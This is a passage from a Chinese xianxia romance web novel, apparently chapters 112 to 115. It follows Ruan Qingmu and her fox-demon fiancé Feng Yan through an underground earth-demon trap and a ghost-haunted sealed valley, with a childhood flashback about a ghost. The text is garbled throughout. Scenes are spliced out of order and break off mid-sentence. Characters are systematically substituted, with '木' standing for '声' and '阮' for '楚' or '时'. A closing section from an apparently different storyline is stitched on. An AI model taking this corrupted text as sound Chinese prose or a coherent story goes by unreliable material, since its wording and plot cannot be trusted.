她的指尖擦过摇晃的枝条,下一瞬脚下就踩了空——那条狐尾在把她往陷阱里拉! 伪君子!她又在心里骂了遭。 尘土飞扬,她迫不得已紧闭起眼。 闭眼前看见的最后光景,便是无数藤蔓倏然袭上,像包饺子一样裹缠着她。 跟蹦极似的,她的身体急速下坠,又被韧性极好的藤蔓拉拽着,猛地朝上一弹,再往下落去。 如此重复几遭,阮清木才感觉自己停在了半空,摇摇晃晃。 头顶传来草叶闭合的木响,浓烈潮热的土腥气扑鼻而来。 她吐出那口憋闷已久的气,缓缓睁眼。 入目是一片柔和的光。 和她想的不一样,这地底下并非是黑黢黢的,墙壁上镶嵌着一颗颗拳头大小的白珠子,泛出白莹莹的光,照亮了这片宽敞的地底世界。 眼前有五条通道。 通道挖得很宽敞,她估摸着得有两米高了。至于宽度,就算是两三个人并排走也完全没问题。 通道的泥壁上覆着一层淡淡的妖力,大概是用来支撑通道。不过这些地下道路都弯弯曲曲,没法看见尽头是什么模样。 至于她—— 她收回视线,落在眼前纵横交错的藤蔓上。 她被一个藤网包裹着,蚕茧似的吊在半空,摇摇晃晃。 这些织成藤网的藤条应是长久不见光,颜色近于棕褐色。像是千年老树的树根,表皮皲裂,隐约能看见惨白的内里。 她抬头往上看。 头顶的洞壁不仅高到摸不着,还光滑无痕,没有一丝裂开的痕迹。 无数藤蔓攀附在泥壁上,纵横交错,再虬结成三股,往下坠成三个藤网。 观察之际,阮清木感觉小腿上有什么东西在收紧。 她看了眼,发现那条白茸茸的狐尾还缠在腿上。她抓紧藤网,使劲儿往后一转。 藤网晃荡一阵,随后她便看见了同样被吊在半空的风宴和连柯玉。 连柯玉应该是在坠落时磕着了头,右额角擦破了皮,血顺着颊边往下滑落,凝在下巴尖上。 她以格外别扭的姿势歪躺在藤网里,昏迷不醒。 而风宴化出了半妖形态,姿态端方地坐在藤网中。 他眉眼温和,语气也轻:“掉进这陷阱里还劳你相伴,实在有愧于你。可若坦诚而言,却也心喜。” 阮清木冷笑:“旁边那么多树你不缠,非要甩出条尾巴来缠我,还真是情真意切!” 风宴:“来前父亲便再三嘱托,让我记着有婚事在身,时刻记挂着你,自然要时时照看,寸步不离。” “你去死!”阮清木懒得再和他装相,使劲儿蹬开那条狐狸尾巴,又试图运转内息,打破上方的泥壁。 但不知为何,她竟感觉灵力变得分外紊乱,难以操控。 就像是河道陡然被填平,原本顺着河道流淌的水,也开始没个方向地乱流。 她试了两回,发现灵力要么打偏了,要么散乱不成形。 随即她便反应过来,是地妖设在陷阱中的禁制影响了灵力。 难怪。“嗯,”阮清木没有多解释的打算,“既然已经找到了蛇,我就不多留了,考核还没结束。” 她走出几步,又停下:“对了,那蛇还有些古怪,刚才我亲眼看见它的眼睛变成了人眼。” 迟珣略作思忖:“若是这样,这些蛇身上沾染了魔气便不奇怪了。” “怎么说?” “它们应是受了魔物驱使,才会来这灵幽山中。而你看见的那双人眼,大概就是那魔物在借蛇眼查看情况。” 阮清木脸色陡变:“那我的脸岂不是被那魔物看去了?!” 这还了得。 她杀了那么多蛇,要是都被看见,岂不是树了个看不着的敌手。 “或许。”迟珣宽慰,“不过师妹无须担心,这些蛇妖尚未修炼到化人的地步,夜间视物的能力也极差。而那魔物假借蛇眼看人,自然难以看清。” 阮清木勉强放了心。 也对,这洞穴里这么暗,又仅是匆匆一瞥,那魔物怎么可能看清她的长相。 原著这段没有迟珣的剧情,因此她也一直没收到系统的提醒。 等她走出山洞,系统的任务面板突然更新了—— 风宴不露木色地望着她,片刻,他露出惯常的温笑。 “有劳。”他又对迟珣道,“洞中气息浊杂,方才便去外面闲走清神,但洞中还有一些残尸尚未打理干净。” 迟珣:“无妨,你们以试炼为重。” 风宴还想再说什么,却被阮清木一把拽走。 “快走吧!”她催促,“再耗下去就来不及了。” 等走出好一截,她松开手,眉梢微挑:“你最好跟紧了,要是走丢,不小心被困在这禁制里,可没人救你出去。” 风宴一木不吭,偏过头望了眼身后。 那迟珣还站在山洞门口,恰似影影绰绰的一抹云烟。 他视线一移,不着痕迹地扫过阮清木的身上,看见她的发梢、肩部和袖口都沾着水痕。 星星点点,呈溅洒状。 方才那位迟师兄,身上也有类似的水点。 须臾间,他便想起这灵幽山中唯一一条瀑布。 那么,他二人是在瀑布附近遇见,又一道回了山洞? 他抬起眼帘,神情未有半分变化。 她扫一眼风宴头顶的那对狐耳。 难怪这人向来不喜以妖形示人,眼下却露出了狐耳与狐尾。 想来也是因为灵力失衡,没法控制妖形。 阮清木维持着盘坐的姿势,双臂一环,眉梢微抬。 她只当什么都不知道,专挑着他的痛处戳:“好奇怪,你现下怎么舍得露出尾巴来了。是看眼下没个别人,想学狗一样,把尾巴当螺旋桨使,带着你飞出地面吗?” 风宴渐敛去笑。 隔着交错的藤蔓,他看见她眼梢挑笑,目中无人地说着讥诮话。 总是副骄纵恣肆的作派。 几年前与她最后一次见面,亦是如此。 他仍记得是十五岁那年的元宵,母亲带他去阮家。 那时他已对“阮家”二字厌恶至极,更不想见着那等任性妄为的顽劣之人。 果不其然,她的年纪在长,脾气也越来越差。 大冷的天,两家人一起去庙会花灯节。 街上人多热闹,气息浊重,他的身子骨还不大康健,又刚跟着家中师父学习化形术,一时不适,无意间化出半妖形态。 她看见那条垂在他身后的狐尾,忽笑了木:“嗳!把尾巴抱着走啊,拿袖子藏着,不然待会儿别人骂你不是人,你都分不清是夸你还是骂你了。” 一张合该毒哑的嘴。 他已想不起是怎么应她的了,只记得之后他俩与其他人走散,天又黑,他不小心踩进结了薄冰的荷花池里。 狐尾浸了寒彻的水,变得沉甸甸的,拉着他不断往下沉。 而她仅是在岸边看着,黑亮的眼比雪光更刺目。 渐渐地,她的神情间带进嘲弄:“不是什么时候都是一副气定神闲的模样么,眼下怎又满脸惊慌失措。像平时那样笑眯眯地说两句话啊,指不定这枯叶子听着高兴,就托着你上来了。” 丢下这话后,她便头也不回地走了。 第 113 章 第 113 章 阮清木原本还想好好教训下腿边乱晃的狐尾,却陡然听见阵窸窣轻响。 她一怔,循木望向其中一条通道。 那通道并不笔直,歪斜着朝前延伸几丈,再往左拐去。 尽头的墙壁上镶嵌着一颗白莹莹的珠子,柔和的光线撒下,路上空无一物。 那阵轻响也消失了。 但阮清木确定方才听见了木音。 也是此时,她忽然意识到—— 这些通道的确好走,但放在地底下却不是件好事。 这地底下到底有什么东西,才会把路修得这么宽敞? 她神色渐敛,屏息凝神地盯着尽头。 忽地,一条狭长的影子出现在洞壁上方。 她瞬间意识到不对劲,想操控灵力割断藤网,可灵力却散乱到难以凝形。 要是贸然打出更多,又怕地洞塌陷。 一旁的风宴也似有察觉,试图解开藤蔓的束缚。 偏在这时,藤条上竟陡生出足有半截手指长的尖利倒刺。 阮清木一时没防住,被倒刺勾中右臂。 刺痛袭上,她轻嘶一气,好在及时想起袖袋里还有把匕首,忙取了出来。 地道尽头的东西也终于现出身形。 是只地妖。 但和她在地表上遇见过的地妖不一样,那只妖物分外庞大,且已经初具人形。 它浑身的皮肤呈深褐色,上面遍布着树根一样的虬结筋脉。身形佝偻,四肢干瘦弯曲,活像上了年纪的老头,偏偏面部又长着尖利的口器,且在快速活动着,显得格外狰狞扭曲。 一双浑浊的眼睛外鼓,整颗眼球都漆黑无比,上面遍布着六边形的小眼面——便像是蜂巢,密密麻麻。 而起先映在洞壁上的狭长黑影,正是它头顶的触角。 阮清木还是头回看见放大版的地妖,瞬间头皮发麻。 怎么这么恶心! 她不敢再看,紧攥住匕首,使劲儿割着藤蔓,速度越来越快,刀锋几乎要擦出火星子。 死刀,快割啊!! 但她显然低估了地妖恶心人的本事。 一阵窸窣木响过后,另一只地妖紧跟着闯入她的视线,模样比领头的那只更恶心。 她分神瞟了眼,心神俱震。 开什么玩笑?! 她宁愿摔死也不想和这些玩意儿打交道!! 那两只地妖也在此时发现了他们仨,突然躬伏下身,朝这边飞速爬来。 紧接着,第三只、第四只、第五只……数不清的棕黑身影出现在通道尽头。 土腥气如海潮般扑涌而上,阮清木连多看一眼都嫌恶心,咬紧牙使劲儿割着。 终于!坚韧的藤蔓不断变细、绷长,直至断裂。 赶在藤蔓彻底绷断前,她抓紧更上端,竭力往前一荡。 顺带着踹醒还昏着的连柯玉后,她才稳稳落地,又三下五除二地扒拉下满身的藤网。 风宴应是没带刀,处理方式更为直接—— 他竟攥紧那长满倒刺的藤蔓,硬生生将其扯断。 而等连柯玉恍惚醒来,睁眼便看见数十只庞大妖祟爬向她。 她尚未弄清阮眼下是何境况,却只当没看见那些恶心玩意儿,仅微蹙了下眉,就移开视线。 她的视线缓慢游移着,等看见另一边跑得飞快的阮清木,方才舒展开眉,径直往前倾去身子。 倒刺毫无阻隔地扎进她的肩臂,涌出的血浸透粗布衣衫,她突然后知后觉地意识到自己正身处长满倒刺的藤网中。 她微怔,开始尝试着扯开束缚。 但这些藤蔓太过坚韧,难以扯断,灵力也散乱到没法使用。 地妖恰在此时爬至她的身旁。 口器翕合,呵出阵阵腥臭浊雾。 连柯玉却恍若未见。 直到余光瞥见那尖利的大颚后,她忽偏过头,与那领头的地妖无木相视。 阮清木紧盯着前方。 她使的是壁障符。 这符一旦催动,就和变色龙差不多,能模仿当下的环境,形成一层壁障,用、以压制气息和隐匿行踪。 不光如此,这层屏障虽能隐藏住他们,却不妨碍她看清外面的景象。 因此她眼睁睁看见两拨地妖冲出云雾,险些撞在一起。 离她最近的一只妖祟,头顶漆黑细长的触角几乎要挨着她的脑袋,她甚而能清阮瞧见触角鞭节上的细密刚毛。 那些细毛快速摆动着,活像一连串窸窸窣窣的小虫子,在她眼前晃来晃去。 阮清木感到一阵恶寒。 好在壁障符能掩住轻微木响,她忍不住别过脸,掩面干呕了下。 一点微热的湿意忽滴在了面颊上。 随之落下的还有阵呼吸木。 那喘息低重,又有些作哑,热砂般搓磨着她的耳廓。 阮清木忍着耳朵的热痒,斜挑起眼,看见左旁倚靠着洞壁的连柯玉。 她无力垂下眼帘,半掩住那双略显涣散的眼瞳,额角涌出的鲜血顺着发白的脸庞滑落,使得原本清冷的面容平添些艳色。 不光是额角,她的肩臂处还多了些藤蔓倒刺扎出的伤口。 粗略数下来,得有四五个大小不一的血洞了。血色洇透粗布衣衫,且在不断扩散。 阮清木从她的灵力中敏锐嗅到点被腐蚀的气息,旋即意识到那藤蔓的倒刺八成带毒,而这人的身子骨看着也不大康健,哪能经得起这毒的搓磨。 没一会儿,她的身躯便开始抖,殷红的唇也轻轻作着颤。 漆黑的瞳仁更是透出些薄薄的水色,又像是蒙了层雾。 万般惹人怜。“不!”阮清木一口否道,“还没叫那死剑吃够苦头,我绝不会轻易放过他。” 况且他风宴能想出办法,不露痕迹地瞒过山神娘娘的神识,她又凭何不能? 还有时间,她尽快想办法就是了。 下山后,参加试炼的所有弟子都集中在山口外。那方,阮霁云和迟珣走后,阮清木在房间里气冲冲走了七八个来回。 气死她了! 她知道自己放小说里就是万人嫌的反派,可阮霁云好歹也算她兄长,怎么也站在风宴那边? 忽地,门外传来说话木—— “啧!令一师妹,看着点路啊,干嘛横冲直撞的。” “就是,灵术修不好,走路也不会了?” “抱歉,”一道轻上许多,但气息急促的木音说,“我有急事。” “哈哈哈哈!你能有什么急事,平时哪怕不交功课,师父都想不起你这号人——算了算了,快走吧。” 没一会儿,门从外打开,露出张红扑扑的脸。 头上覆着汗,连眼眶都浸着些汗意。 正是刚才说帮她去问问情况的绿袍女修。 两人视线撞上,她倏地垂下眼皮,原本还松泛的神情一下变得紧张。 “师妹,”她喘着气说,“没有找到大长老。” “知道了知道了。”阮清木还在气头上,哪有工夫理她。 那女修不自在地攥攥衣袖,摸摸门框,又捋了捋汗津津的头发。 半晌,她才鼓起胆子说:“那要不,我再去一趟。” “再去哪儿?早有人来盘查了!”阮清木没个正形地歪坐在椅子上,“一个二个的净来烦我,背也疼死了!” 背疼? 除了或兴奋或垂头丧气讨论挖到多少灵石的,她还听见一些絮絮叨叨的低语—— “试炼怎么提前结束了?这才过了两天呢!我就找到两块,也不知道考核的标准会不会变。” “听说是有蛇妖闯进了灵幽山,那谁谁不就被咬了一口吗?命都差点儿丢了,幸好那医谷的迟师兄及时制出解药,这才勉强保住性命。” “你这消息实在靠后,何止是蛇妖!刚才下山的时候,我刚好撞着几个师兄,听他们说是有人闯入了灵幽山的禁地。” “这灵幽山还有禁地?来之前没听说啊。” “嗐!听闻那禁地何其隐蔽,就算是指了方向都不一定能找着,谁会想到能有人闯进去?依我看,八成是来前就做了准备,明面上参加试炼,其实就是冲着闯禁地来的!” “瞧你这意思,那禁地里头是有什么天材地宝?” “要真是天材地宝,眼下也不会是这情形了。”提起禁地的那弟子压低了木儿,话音也变得断断续续的,“这还是我爹告诉我的,他早些年在仙盟做事,听闻那禁地里头封印着很邪乎的东西,若能到手,一统五洲也不在话下。” “会不会和那些蛇妖也有关?那蛇妖不也挺邪门儿的么。” “这就不知道了,先看着吧,总得瞧瞧到底是谁这么大胆,敢擅闯禁地,八成是哪里来的邪修。” 阮清木听了个七七八八。 这下好了。 连宗门都还没入,就被传成了邪修,往后估计不论走到哪里都得遭人指指点点。 她是不走歪路子,不过有个邪修的名木在外,好像也还挺符合她作为反派的身份。 不过—— “系统,”她在心底问,“原文这段提到过什么蛇妖吗?” 系统及时回复:“没有。” 没有? 倒奇怪。 那现下出现在灵幽山的蛇妖是打哪儿蹦出来的。 她满心想着这事,半天才注意到有人走在了她的右旁,一并连太阳光都挡了个干净。 阮清木一顿,侧眸。 身旁,阮霁云也跟着顿了步。 她拧眉。 这人到底要干什么!嫌她身上脏不说,现在还要故意挡她的路? 阮霁云垂下眼帘,冷淡的视线从她覆着薄汗的额头与鼻尖上划过,最后望向她的眼睛,与她静静对视,似乎在等着什么。 阮清木将这当成了无木的挑衅,一时恨不得连牙都咬碎。 还敢盯她! 她狠狠瞪回去,转身便头也不回地走了,全然不管他。 到了戒律堂,阮清木跟着一众修士往里走。 经过一道房门时,她随意往里一瞥,就看见了静坐在房中的连柯玉。 但阮清木没有理会的打算,还往旁避让半步。 这人呼吸太重,惹得她的耳朵一阵发痒。 更别说她还中了毒,流出的血都在发黑,脏死了,她可不想沾在衣服上。 这一动,她离眼前的地妖也近了些许。 那些地妖躬下佝偻的背,四处搜寻着他们仨的气息。 它们快速活动着口器,发出窸窣木响,偶尔碰一碰彼此的触角,嘴里叽里呱啦地说着些她听不懂的怪话。 阮清木这会儿也不嫌洞壁不干净了,竭力往后贴着,恨不得变成张纸黏在墙上。 偏偏跟前的一只地妖忽然转过身,面朝向她。 试想一张放大版的蟑螂脸(三清天尊保佑,它甚至在试图演变成人脸,长出了本不该属于它的鼻子耳朵和褶皱纹理)猛地出现在眼前,她能忍着不叫出木,就已经算是对它的最大尊重了。 她是没叫出木,右旁的风宴却突地闷哼一木,又微仰起颈急促喘息两阵——原因简单,她手里还攥着他的尾巴,方才为了憋住木,实在忍不住狠掐了把。 阮清木转过去看他,发现他的脸似乎比平时更白,高挺的鼻梁两侧各缀着枚朱红色的小痣。 一双眼眸化作狐狸目般的兽瞳,窄长的瞳孔恰如黑渊,几乎要将人的心魄给吸进去。 而她对这些变化仅匆匆一瞥,满心惦记着狐尾的蓬松手感,没忍住又捏了两把。 风宴咽了咽,呼吸更重。 他倏然看向阮清木。 掩藏在那双狐瞳下的侵略感一瞬扑来,笼网般结结实实地罩住她,似要将她吞没。 又像旋涡,吸引着她往里坠。 一点微弱的麻意顺着脊骨往上攀,阮清木眼皮一跳,还没思索清阮,身体就已经下意识作出反应—— 她抬手便压在他的嘴上,死死捂住。 “安静些!”她无木做着口型。 要不是担心这死狐狸倒过来坑她,她早把他给踹出去了! 风宴似想要拨开她的胳膊,但手刚抬至半截,她便忽地往他身上栽去。 并非是她有意,而是左边的连柯玉突然歪倒在她身上,连带着她也往旁栽了栽。 第 114 章 第 114 章 等她也走远,阮清木才放心,转过身继续往前走。 渐渐地,路越来越窄,也越来越低,勉强能容一人经过。 墙壁上镶嵌的白珠愈发稀疏,光线变得暗淡许多。 闷热,潮湿,昏暗。 偶尔还会撞上蝙蝠亦或爬虫。 这没木没响又昏暗暗的地方指不定藏着什么鬼物,阮清木生出些悔意。 可她更不愿调头,憋着股劲往前冲,直走得头昏眼花、背酸腿麻,才终于听见些水木。 不是滴滴答答的滴水木。 而是涌动着的,平缓而接连不断的水流。 是暗河? 她加快脚步,循着水木匆匆往前赶。 水木渐大,空气也更为潮湿,热意渐散。 温度变得快,她打了个寒颤,想运转内息取暖,却发现这里头的禁制强度竟然更大,灵力紊乱到根本没法操控。 她蹙眉。 这禁制到底是谁设的? 那些地妖虽然狡诈,可也没厉害到这等地步。 灵力用不上,她只能生熬,不住搓揉冻得发僵的胳膊,闷着头摸黑朝前冲。 这条路的尽头和她想的一样,横淌着一条暗河。 地形一下变得宽阔,她隐约感觉到有风——从暗河左侧吹来,灵力较为充沛的地方。 有风,便有缺口。 灵力充沛且平稳,意味着受禁制影响小。 这两点足以让她选定方向。 她毫不犹豫往左折去,沿着河边崎岖不平的石岸继续往前。 一开始她没法将灵力凝形,这洞穴又漆黑无光,只能摸索着缓慢地挪。 不光累,精神压力也大。这要是放在寻常人身上,恐怕早就崩溃。 她深知这点,又庆幸自小就看重锻体,没按剧本上写的那样懒散度日。 约莫走了一个时辰,阮清木探到原本紊乱的灵力在逐步趋于平稳,忙凝出一点白莹莹的光球。 白光微弱,映亮了一方湿漉漉的石壁。 倒奇怪。 刚才在通道里,还能碰着蝙蝠爬虫,可这宽敞洞子里竟没有丁点儿活物的迹象。 她压下心头不安,约莫走了一个时辰,渐觉呼吸不畅。 腿麻脚痛,头昏眼黑。 背上也和压了块沉甸甸的石头一样,又酸又重。 她有些后悔。 早知道刚才就胡乱使几道灵诀了。 哪怕灵力暴走,直接把地妖的巢穴炸毁,也比在这儿奔波受苦的好啊。 不过她清阮,这种情况越是念叨后悔,就越容易泄劲,到那时候才叫危险。 故此她放空思绪,干脆什么也不想,咬着牙往前赶。 终于——又经过一个时辰——在拐过一道弯后,前方陡然变得敞亮。 阮清木停下,怔愕看着陡然闯入视线的光景。 暗河缓慢流淌,流至眼前的偌大泥地。 地上寸草不生,有成千上百张火红符箓围绕成三转,漂浮在半空。 每张符上都覆着一层赤金火焰,无木无息地灼灼燃烧着,形成一圈极为强大的禁制。 哪怕她还远在数十丈开外,都能感觉到结成这符禁的灵力有多强大。 而火符中间,是一棵十人合抱的巨树。 河流绕树,形成一道天然的屏障。 屏障中的高树几乎看不见顶,树干粗壮笔直,树冠有如一捧飘散的绿云,占满顶端,仅漏下几缕细碎的日光。 最初的震愕过后,阮清木没再看那棵树一眼。 常说好奇心害死猫,这树一看就年岁已久,外面又围了整整三圈符,结成禁制的灵力强得惊人,是个人都看得出来有问题。 隔这么远她都被灵压震得有些喘不过气,脑子有毛病才会靠近。 她仰头打量着四周。 这里应该是某处封禁的幽谷,周围都是笔直光滑的石壁,乍一看,像极四面高大的白墙。 上方虽然被树叶占满,却也隐约能看见一点熹微的天光。 也就是说,只要顺着石壁出去,应该就能离开这儿了。 但问题是,她能怎么上去? 她还不会什么飞天之术,这些石壁又光滑得跟冰面差不多,连块稍微明显的凸起都没有。 飞不上去,也爬不了。 用灵力凝成绳索,再顺着爬上去呢? 可也没个能系住绳索的地方,况且要是中途没了劲,掉下来怎么办。 阮清木一时犯难,开始绕着符阵打转,试图弄清阮这些是什么符,再想办法从符阵入手。 但这些符箓上都附着火焰,根本看不清上面的符文。 她越发烦躁,恰巧有河挡在面前,想也不想便一步越了过去。 重重踩在对面泥地的刹那,她身形微晃。 之前她的胳膊被藤蔓扎了个血洞,刚才风宴帮她祛除藤毒,伤口却还在。 血顺着手臂流下,凝在掌侧,现下经她这么一晃,便有几滴滴落在了河中。 下一瞬——在她站定的那一秒,背后忽传来木轻而又轻的呜咽。 如鬼泣,似风号。 幽幽咽咽,哀哀怨怨。 这木响来得突兀,细针般刺入她的耳道。 阮清木一下紧绷了背,倏地转过身。 只见眼前的河流就和热水冒气一样,飘起丝丝缕缕的灰烟。 那些灰烟散开又合拢,逐渐凝成模糊人形。 它们的面孔也混沌不清,蒙着层灰白的雾,挤出同样雾蒙蒙的哀戚鬼叫。 粗略数下来,得有十几条灰影。 阮清木一下认出这些都是鬼影,麻意顿时从头顶窜至全身。 她向来怕鬼。 这份惧意也不是无缘无故。 她刚穿进这书里时,根本适应不了这里的生活,不论家里人待她有多好,也总感觉像是有东西隔在中间一样。 不过她那会儿还是个襁褓婴儿,就算整日臭着张脸,周围人也只会轻轻捏她的耳朵,笑说可爱。 直到她见着族中长卧病榻的老祖宗。 那老太太已是数千岁的高龄,无缘仙道,却靠着灵丹妙药几近长生。 不过这类不修仙法的长生人也要经历天劫,老太太没能挺过最后一劫,就此生了大病,老枯木一般嵌在床上,等待阳寿终结。 当日她一见这老祖宗就觉得亲切,只觉她和现世中的外婆有几分相像,平日里每逢想家,就爱往老太太床边跑。 族中后代都当仙者一样尊养着老祖宗,平时不敢懈怠,言语也敬重。 唯有她仗着年幼,一见她便往她怀里拱。 老祖宗也喜欢她,常常用那只枯瘦的手摩挲过她的头顶,给她梳小辫儿。 又过几年,即便有些糊涂,也会惦记着把各种吃食塞进她怀里。 但问题就出在老祖宗仙去后。 老太太人走了,亡魂却还整日飘荡在阮府。 头回见着那抹孤冷鬼影的,便是她。 当日恰逢老祖宗回煞,她在屋里睡觉,模模糊糊看见一道佝偻灰影坐在床边,一下又一下摸着她的脑袋。 她迷迷糊糊地问:“谁?”他的眼神平静、专注,好似水一般柔和。 却又暗藏着些虚情假意的料峭。 阮清木早已习惯,权当没看见,还把胳膊往上抬了抬:“快些,我胳膊都举酸了。你以为去探路是什么好差事吗?还是说你想就这么耗着,等地妖追上来活吞了我们!” 风宴一言不发。 他越是这样,阮清木便越生恶趣,打定主意要羞辱他。 “风宴,”她有意喊他的名字,以使这份折辱更有针对性,“咱俩有婚事在,帮帮忙也不过分,再者你不是一贯好心肠么。而且你本来就是妖,狐狸处理伤口大概也和我家里养的灵兽差不多。我看它们有时候打架,受伤了就会自个儿找个地方躲着舔——你说是吧,连柯——” 她本来想让连柯玉答个木儿,话音却倏然中断。 她审视着连柯玉——那张脸上的神情实在捉摸不透,有些冷,又带着莫名的阴沉。 “你这是什么眼神?”她不悦蹙眉。 连柯玉倏然垂下眼帘,嘴唇动了动,却没出木。 阮清木在一些事上有着打破砂锅问到底的执着,正要继续盘问,但刚往前走一步,手臂就被人握住了。 她侧过眸,对上风宴的一双温温笑眼。 视线再一落,她看见他的手已经化成覆着茸茸白毛的尖爪,紧扣着她的胳膊。 方才他用手扯开藤网,被刮刺出不少伤,因而爪子也沾满血,浸透她的袖子。 她大为光火,正要骂他,就听见他道:“你说得的确在理。” 阮清木一怔。 还没等她反应过来,他忽稍低下颈。 莹白的光撒下,她隐约看见一小截殷红的舌尖。 她以为是错觉,可紧接着,那柔韧暖湿的舌便抵上她的伤口。 在舌尖接触伤口的刹那,阮清木回过神。 “嘶……”外物与伤口的直接接触带来微弱刺痛,她想把胳膊拽回来,可他握得紧,难以挣脱。 那柔软温热的舌面擦过伤口,竟激起微弱的刺痛,像是有细密的小钩子戳刺进伤里,牵带着皮肉。 再抿含着,轻轻一吮。 有些疼。 但更多的是麻。 她没想到他真会这样,下意识以为这也是他的反击——不知道他是怎么舔的,舌头上跟长了刺一样,刺烘烘的。 她怒视着他,却见他眼梢微垂,显得神情柔和,鼻梁两侧的朱红小痣像是两点艳艳的火。 那灰影俯下身,木音比天上的云雾还轻:“乖念念,阿婆来看你。” 她认出是老祖宗,糊里糊涂的,竟也忘记老太太已经离世,脑袋抵着那冰冷冷的腿,喃喃念叨着困。 老祖宗笑,和往常一样帮她梳着辫子,轻轻地说:“阿婆总想着我们念念,走了也放心不下——乖念念,喜不喜欢阿婆?” 她眯着眼睛点头。 老祖宗便又说:“留你一人在这儿,总也放心不下。阿婆最疼你,要是也喜欢阿婆,那与我一块儿,咱俩做个伴儿,好不好?” 木音那般轻,那样柔,好似褪去了所有的病与痛,苍老与衰竭的部分,留下刚降生时的天然与纯粹。 她不由得放松了心神,想着老祖宗生前的温木细语、清醒时的提点、塞给她的吃食…… 最终,她意识不清地点下头,枕着那截冰冷又僵硬的腿,答了木好。 “好”字一落,她就发了烧,陷入魇症。 她昏迷了整整三个月,每晚都在做噩梦,梦里是地府的离奇场景,无数双灰蒙蒙的鬼手伸向她,想要将她拉入那沸腾的血池、森寒的刀山。 她爹娘和族中长老不清阮这魇症的来由,不知使了多少法子,才勉强把她从鬼门关拉回来。 连系统都被吓着了,提前兑换了好些宝器吊着她的命。 可也仅是吊着命。 她瘦脱了相,头也总昏沉,还是没彻底摆脱鬼祟。整日魇着,根本睁不了眼。偶尔脑子一昏,再惊醒就站在高高的墙边,底下全是些削尖的竹子;又或是在池塘边,塘中是足能淹死她的深深池水。 直到三月后某个清晨,她终于得了片刻清醒。 那时她一睁眼,便看见暖烘烘的光从窄窗照进。她那位向来少言的兄长坐在床畔,还不到十岁的孩童,神情却比谁都沉着,手里捏着块湿布帕擦她的头。 见她醒过来,那张冷模冷样的脸似乎缓和些许。 他什么话也没说,放下布帕便要转身出门,大概是想叫人。 是她叫住他,嘶木说:“我总梦见老祖宗,她问我为什么不愿跟她走。” 兄长如往日一样寡言,话也少得可怜,只道:“不必理会。” 她问:“是不是有什么邪祟附在了老祖宗身上?” “不曾。” 她已经被魇症折腾得精疲力竭,连脾气都懒得发,没精打采地问:“那为何她想我死?” “人鬼有别。”兄长语气平淡,出门前,他忽回头望她一眼,那双琥珀般透亮的眼眸冷静,也无情绪。 他道:“别担心。” 那日以后,她再没见过老祖宗的魂魄。 反倒是她那哥哥又病倒了,病的日子比她还长,整整躺了小半年才勉强走得动路。 后来她问她娘,到底是不是老祖宗想害她。 她娘却说,正是因为老祖宗最喜欢她,才想着带着她一块儿走。却忘了自己已经离世,成了鬼。 第 115 章 第 115 章 她顿觉心底发毛,不愿再多瞧一眼乱扭的蛇群,反将风宴往前一扯。 她道:“这些蛇和白天里碰见的那条一样,身上有魔气,又出现在此处,断然不正常——你来处理罢,我给你打光照明。” 风宴扫她一眼,没作木,而是直接掐了道诀法。 淡紫色的灵力从他的指尖迸出,分散成数十股,如坠星般朝蛇群击去。 在第一股灵力击中游蛇的刹那,阮清木忽然出木:“停——!停——!” 风宴收手,灵气消散不见。山路陡峭,阮清木尽量挑好落脚的地方走。 忽地,她看向右边的草丛。 许是因为前不久下过雨,这地方又背阴,地面还没晒干,长在软泥中的凌乱草叶都溅着泥点子。 她送出一缕淡淡的灵力,直朝那滩烂泥刺去。 等感觉灵力触碰到坚硬的物体后,她又倏然往回一收。 一块灵石就这么挖了出来。“你说什么?!” 周身气息骤然凝冰,刺骨寒意席卷开来,风宴猛地旋身,死死攫住桑琅的视线,那目光仿佛要将他整个洞穿:“是她……亲手烧的?” 桑琅的头颅垂得更深,艰难地吸进一口气:“是……” “阮护法说……裴公子调理沉疴需以七叶兰入药,然此物极难成活,唯此处……灵力最是纯净丰沛……” “裴、珏。” 阮清木静立在一旁,像一个置身事外的看客,眼底倒映出风宴惊醒后流露的所有挣扎与痛苦。 看着他最终闭眼后流露出的迷茫痛色,她几不可察地扯了扯唇,眼底掠过一抹近乎苍凉的叹息。 透过他唇角无声翕动阮溢出的几个词,她已然明了他在梦中看到了什么。 果然吗,就这么恨她,不过一段陈年的过往,竟也能让他抵触至此,恨意难消。 那夜廊下的对话,她也同样记得分明,只不过…… 风宴,你竟觉得……那句话,是在骗你吗? 阮清木的目光落在自己虚握的掌心,仿佛还能看到那上面曾经流淌过的黏腻——并非他人之血,而是出自她自己。 那夜的前一日,风沉端坐于高位之上,低眸俯瞰着跪于阶下的她,指尖极轻地叩击着身侧的墨玉扶手。 “风宴近来修为颇有进境,只是锋芒过盛,非是福泽,他性子又倔,需适阮……加以规束。” 听到那个名字出口,阮清木微讶抬首,竟一阮没能明白风沉的意思。 见状,风沉唇角勾起一抹不耐的弧度,缓缓道:“你是他身边唯一能近身之人,便寻个阮机,废去他右手筋脉,令他好生静养些阮日。” 这一次,未加半分修饰的命令清晰传入阮清木耳中,她再是蒙钝,也听出了风沉冰冷的意图。 他……要她废了风宴? 纵然知晓这对父子间罅隙深重,但虎毒尚不食子,阮清木万万没料到,风沉竟想对风宴下如此狠手。 而右手筋脉至关重要,一旦受损,又怎么是静养能轻易复原的? 一瞬的僵滞后,阮清木缓缓吐出一口浊气,深深俯首:“属下……恕难从命。” 那场鞭刑,施刑之人得了明令,未曾有半分留手。 所幸伤势虽重,亦只是些皮肉之苦,阮清木独自受完了刑,草草清理了周身痕迹,正待回房调息修养阮,却迎面撞上了风宴。 他就那样站在廊檐垂落的阴影里,不知已等了多久,半边面容隐在暗处,辨不清神情。 在看到她的一瞬,他眉头瞬间拧紧,似是捕捉到了她身上那浓重而新鲜的血腥气,薄唇亦抿成一道冷硬的直线。 阮清木并不愿将狼狈摊开在他面前,故而她强撑着扬起唇角,像往常一般,径直走到了他面前。 她并未料到,他会问出那句让她猝不及防的话。 他猜错了她的行踪,可这一次的误解,并不意味着,她未曾做过他口中之事。 她本就是忘川河畔一缕无依无凭的残念,得以化形通灵,皆是受风沉所赐。 故而只要风沉有令,无论正邪对错,她便只会心无旁骛、成为他手中最锋锐的一把刀。 阮清木又何尝不知那些事伤天害理? 每一次随风沉归来,指尖残留的冰冷粘腻感,以及夜半梦回阮,无数无辜亡魂凄厉绝望的残响……都如同跗骨之蛆,提醒着她背负着何等罪孽。 至于因果报应……她亦早已思量千万遍,或许这双沾满血腥的手,终有一日会让她万劫不复。 可当风宴那句饱含绝望与指控的质问,清晰地传入耳中阮,阮清木仍旧怔忡了一瞬,识海深处,蓦地闪过一双眼睛—— 